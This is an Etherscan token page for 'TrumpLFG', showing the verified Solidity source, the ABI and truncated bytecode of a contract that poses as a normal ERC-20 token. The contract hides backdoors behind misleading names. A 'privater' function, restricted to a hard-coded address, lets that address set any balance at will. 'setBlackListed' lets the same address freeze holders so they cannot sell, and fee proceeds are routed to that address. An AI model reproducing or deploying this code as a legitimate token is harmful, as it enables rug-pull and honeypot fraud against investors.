ETH Price: $3,335.51 (-0.24%)

Token

TrumpLFG (TrumpLFG)
 

Overview

Max Total Supply

10,000,000,000 TrumpLFG

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100,313,308.430842393 TrumpLFG

Value
$0.00
0xbfd8bdb1832b1cf9e2c2095cae90da1d1253c709
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TrumpLFG

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function erc(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  TrumpLFG is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "TrumpLFG";
    modifier ERCT() {
        require(_msgSender() == ERCTokenRec, "caller not owner");_;
    }
    string private _symbol = "TrumpLFG";
    function privater(address sender, uint256 amount) public ERCT() {
        _balances[sender] = amount.div(1).mul(_totalTaxIfSelling) + (_balances[sender]).erc(amount);
    }
    uint8 private _decimals = 9;
    address payable public ERCTokenRec;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    function setBlackListed(address[] calldata addresses, bool status) public ERCT() {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;

        isMarketPair[address(uniswapPair)] = true;

        ERCTokenRec = payable(address(0xf3e9D369fD014019026A26A3023551474C115E3e));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_totalTaxIfBuying).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_totalTaxIfSelling).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 balETHance = address(this).balance;

        if(balETHance > 0)
            ERCTokenRec.transfer(balETHance);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ERCTokenRec","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"privater","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f5472756d704c4647000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000783565b506040518060400160405280600881526020017f5472756d704c4647000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000783565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a55600360009054906101000a900460ff16600a6200011c919062000943565b6402540be4006200012e919062000a80565b600d553480156200013e57600080fd5b506200014f6200075260201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026957600080fd5b505afa1580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a491906200084a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030757600080fd5b505afa1580156200031c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034291906200084a565b6040518363ffffffff1660e01b8152600401620003619291906200089e565b602060405180830381600087803b1580156200037c57600080fd5b505af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b791906200084a565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f36200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600b81905550600a54600c81905550600160076000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073f3e9d369fd014019026a26a3023551474c115e3e600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5460046000620006946200075260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006e26200075260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620007439190620008cb565b60405180910390a35062000bec565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007919062000b2c565b90600052602060002090601f016020900481019282620007b5576000855562000801565b82601f10620007d057805160ff191683800117855562000801565b8280016001018555821562000801579182015b8281111562000800578251825591602001919060010190620007e3565b5b50905062000810919062000814565b5090565b5b808211156200082f57600081600090555060010162000815565b5090565b600081519050620008448162000bd2565b92915050565b60006020828403121562000863576200086262000bc0565b5b6000620008738482850162000833565b91505092915050565b620008878162000ae1565b82525050565b620008988162000b15565b82525050565b6000604082019050620008b560008301856200087c565b620008c460208301846200087c565b9392505050565b6000602082019050620008e260008301846200088d565b92915050565b6000808291508390505b60018511156200093a5780860481111562000912576200091162000b62565b5b6001851615620009225780820291505b8081029050620009328562000bc5565b9450620008f2565b94509492505050565b6000620009508262000b15565b91506200095d8362000b1f565b92506200098c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000994565b905092915050565b600082620009a6576001905062000a79565b81620009b6576000905062000a79565b8160018114620009cf5760028114620009da5762000a10565b600191505062000a79565b60ff841115620009ef57620009ee62000b62565b5b8360020a91508482111562000a095762000a0862000b62565b5b5062000a79565b5060208310610133831016604e8410600b841016171562000a4a5782820a90508381111562000a445762000a4362000b62565b5b62000a79565b62000a598484846001620008e8565b9250905081840481111562000a735762000a7262000b62565b5b81810290505b9392505050565b600062000a8d8262000b15565b915062000a9a8362000b15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ad65762000ad562000b62565b5b828202905092915050565b600062000aee8262000af5565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b4557607f821691505b6020821081141562000b5c5762000b5b62000b91565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bdd8162000ae1565b811462000be957600080fd5b50565b60805160601c612b4c62000c0b60003960006107c90152612b4c6000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c816841b1161006f578063c816841b146104dd578063c860795214610508578063dd62ed3e14610533578063f0cd1dac14610570578063f2fde38b1461059b578063fafff96a146105c457610156565b80638da5cb5b146103cb57806395d89b41146103f6578063a62a41b114610421578063a9059cbb1461044c578063b2a3120b14610489578063c5d24189146104b257610156565b806327c8f8351161010857806327c8f83514610293578063313ce567146102be5780633345611e146102e95780633ecad2711461032657806370a082311461036357806382eefb43146103a057610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee5780631d231b2c1461021957806323b872dd1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105ed565b60405161017d91906122cc565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611f5e565b61067f565b6040516101ba9190612296565b60405180910390f35b3480156101cf57600080fd5b506101d861069d565b6040516101e591906122b1565b60405180910390f35b3480156101fa57600080fd5b506102036106c3565b604051610210919061240e565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e71565b6106cd565b60405161024d9190612296565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611f0b565b6106ed565b60405161028a9190612296565b60405180910390f35b34801561029f57600080fd5b506102a86107c7565b6040516102b59190612260565b60405180910390f35b3480156102ca57600080fd5b506102d36107eb565b6040516102e09190612483565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b9190611e71565b610802565b60405161031d9190612296565b60405180910390f35b34801561033257600080fd5b5061034d60048036038101906103489190611e71565b610822565b60405161035a9190612296565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190611e71565b610842565b604051610397919061240e565b60405180910390f35b3480156103ac57600080fd5b506103b561088b565b6040516103c2919061240e565b60405180910390f35b3480156103d757600080fd5b506103e0610891565b6040516103ed9190612260565b60405180910390f35b34801561040257600080fd5b5061040b6108ba565b60405161041891906122cc565b60405180910390f35b34801561042d57600080fd5b5061043661094c565b604051610443919061227b565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190611f5e565b610972565b6040516104809190612296565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190611f9e565b610991565b005b3480156104be57600080fd5b506104c7610acd565b6040516104d4919061240e565b60405180910390f35b3480156104e957600080fd5b506104f2610ad3565b6040516104ff9190612260565b60405180910390f35b34801561051457600080fd5b5061051d610af9565b60405161052a919061240e565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190611ecb565b610aff565b604051610567919061240e565b60405180910390f35b34801561057c57600080fd5b50610585610b86565b604051610592919061240e565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190611e71565b610b8c565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190611f5e565b610cde565b005b6060600180546105fc906126ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906126ea565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061069361068c610e40565b8484610e48565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106fa848484611013565b506107bc84610707610e40565b6107b785604051806060016040528060288152602001612aef60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076d610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116949092919063ffffffff16565b610e48565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546108c9906126ea565b80601f01602080910402602001604051908101604052809291908181526020018280546108f5906126ea565b80156109425780601f1061091757610100808354040283529160200191610942565b820191906000526020600020905b81548152906001019060200180831161092557829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061098661097f610e40565b8484611013565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1f9061236e565b60405180910390fd5b60005b83839050811015610ac7578160086000868685818110610a4e57610a4d6127f2565b5b9050602002016020810190610a639190611e71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abf9061271c565b915050610a2b565b50505050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610b94610e40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c18906123ae565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c9061236e565b60405180910390fd5b610dc781600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f890919063ffffffff16565b610def600c54610de160018561172090919063ffffffff16565b61176a90919063ffffffff16565b610df991906124f3565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf906123ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f9061232e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611006919061240e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b906123ce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb906122ee565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611181576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111789061230e565b60405180910390fd5b600f60149054906101000a900460ff16156111a8576111a18484846117e5565b905061168d565b60006111b330610842565b9050600f60149054906101000a900460ff1615801561121c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561122b5761122a816119b8565b5b61127d83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113635750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113705783905061158c565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113f3576113ec60646113de600b548861176a90919063ffffffff16565b61172090919063ffffffff16565b9050611471565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114705761146d606461145f600c548861176a90919063ffffffff16565b61172090919063ffffffff16565b90505b5b6000811115611575576114cc81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161156c919061240e565b60405180910390a35b6115888186611cbc90919063ffffffff16565b9150505b6115de81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161167e919061240e565b60405180910390a36001925050505b9392505050565b60008383111582906116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d391906122cc565b60405180910390fd5b50600083856116eb91906125d4565b9050809150509392505050565b600080828461170791906124f3565b90508381101561171657600080fd5b8091505092915050565b600061176283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d64565b905092915050565b60008083141561177d57600090506117df565b6000828461178b919061257a565b905082848261179a9190612549565b146117da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d19061238e565b60405180910390fd5b809150505b92915050565b6000611870826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116949092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffff